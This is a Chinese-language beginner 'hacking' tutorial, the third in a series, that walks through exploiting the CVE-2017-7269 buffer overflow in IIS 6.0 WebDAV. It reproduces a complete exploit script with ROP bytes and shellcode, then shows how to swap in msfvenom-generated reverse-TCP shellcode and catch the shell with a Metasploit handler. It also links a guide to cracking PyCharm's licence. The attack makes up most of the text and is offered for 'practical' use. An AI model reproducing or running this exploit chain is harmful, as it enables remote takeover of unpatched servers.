今天是第3篇教程,我们直接用CVE-2017-7269漏洞进行一次实战测试。三篇文章你融会贯通了,基本算黑客入门了。
微软方面也已经确认了该漏洞:Windows Server 2003R2版本IIS6.0的WebDAV服务中的ScStoragePathFromUrl函数存在缓存区溢出漏洞,远程攻击者通过以“If: <http://”开头的长header PROPFIND请求,执行任意代码。该漏洞自2016年7、8月起就已被一些黑客偷偷利用。
一、我们要准备的工具
python2.7版本,下载地址在:https://www.python.org/downloads/
Pycharm2022安装破解激活教程,亲测可用Pycharm2022安装破解激活教程,亲测可用-萌喵论坛 (miaoi.top)
我第2课中示例的是python3.0,这个漏洞用python3.0发送字节流不方便,所以我们还是用python2.7。
pentestbox,记得下载安装有 Metasploit 的 PentestBox的版本,win2003服务器版的虚拟机地址:
https://pentestbox.org/zh/#download
CVE-2017-7269漏洞的测试代码地址:
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
exploit.py代码具体如下:
#————Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China #———–Email: edwardz@foxmail.comimport socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((‘127.0.0.1’,80)) pay=‘PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n’pay+=‘If: <http://localhost/aaaaaaa’pay+=‘\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac’pay+=‘>’pay+=‘ (Not <locktoken:write1>) <http://localhost/bbbbbbb’pay+=‘\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81’shellcode=‘VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA’pay+=shellcodepay+=‘>\r\n\r\n’print paysock.send(pay) data = sock.recv(80960) print data sock.close
二、测试环境搭建
安装Win2003虚拟机后,要配置一个iis6运行环境。在管理您的服务器当中,添加或删除角色中配置iis6运行环境,要注意勾选asp.net支持,否则你可能测试不会成功?
1、添加或删除角色
2、配置应用程序服务器(IIS,ASP.NET)
3、启用ASP.NET
4、最后一步你开启webdav支持,这样一来你配置的测试环境就成功了。
三、我们做下poc测试
我的python27安装目录在d:/python27,我们把第一步下载的exploit.py改名为CVE-2017-7269.py放在d:/python27目录。
我安装的2003服务器版的虚拟机的ip为192.168.1.102,我本机的ip为192.168.1.100;
我们把CVE-2017-7269.py文件里的第6行改成要测试目标的ip地址,我这里直接改为192.168.1.102了。
直接运行 d:/python27/python.exe d:/python27/CVE-2017-7269.py ,虚拟机里的任务管理器进程中就会出现计算器进程了。
注意:如果你运行错误(有这个可能),请用editplus能显示行号的编辑器把CVE-2017-7269.py第16行删掉。
四、改写shellcode,反弹shell
这个poc测试只是运行一个计算器而已,并没有实战价值。
我们改写CVE-2017-7269.py,反弹一个shell。当然,这里我不讲解这个漏洞的原理和形成过程,也不讲解poc的编写,如果你这两点都会,你已经是国内一流黑客大牛了。
我们在本文只讲解如何改造poc进行实战?
1、运行pentestbox后,输入以下命令生成一个反弹到192.168.1.100的shellcode(我本机ip是192.168.1.100)。如果你是win10系统,记得打开pentestbox要先输一下cmd,再输入以下命令,其它系统直接输入就行:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.100 lport=443 PrependMigrate=True PrependMigrateProc=“calc.exe” EXITFUNC=“process” -b “\x00” -e x86/unicode_mixed BufferRegister=ESI -f raw
2、替换CVE-2017-7269.py文件里的shellcode
复制你上边生成的shellcode,替换CVE-2017-7269.py文件里第13行shellcode的内容。
3、用Metasploit监听443端口
打开pentestbox后,win10先输入cmd后,再依次输入以下命令,其它系统直接输入就行,一条命令一个回车:
msfconsoleuse exploit/multi/handlerset payload windows/shell/reverse_tcpset lport 443set lhost 192.168.1.100exploit
4、我们再在命令行里输入 d:/python27/python CVE-2017-7269.py ,那么你就会获得192.168.1.102的反弹shell了,直接进入192.168.1.102的机器了。
总结:
黑客渗透教程第3课内容有很多。
有python27、win2003虚拟机、pentstbox的安装、虚拟机IIS6的安装和配置,还有用pentestbox生成我们需要的shellcode,以及CVE-2017-7269.py里的shellcode替换。内容虽然多,但是并不难,你照着我文章做是能成功的。
原文地址:https://fendou.gqr5.cn/7112.html
暂无评论内容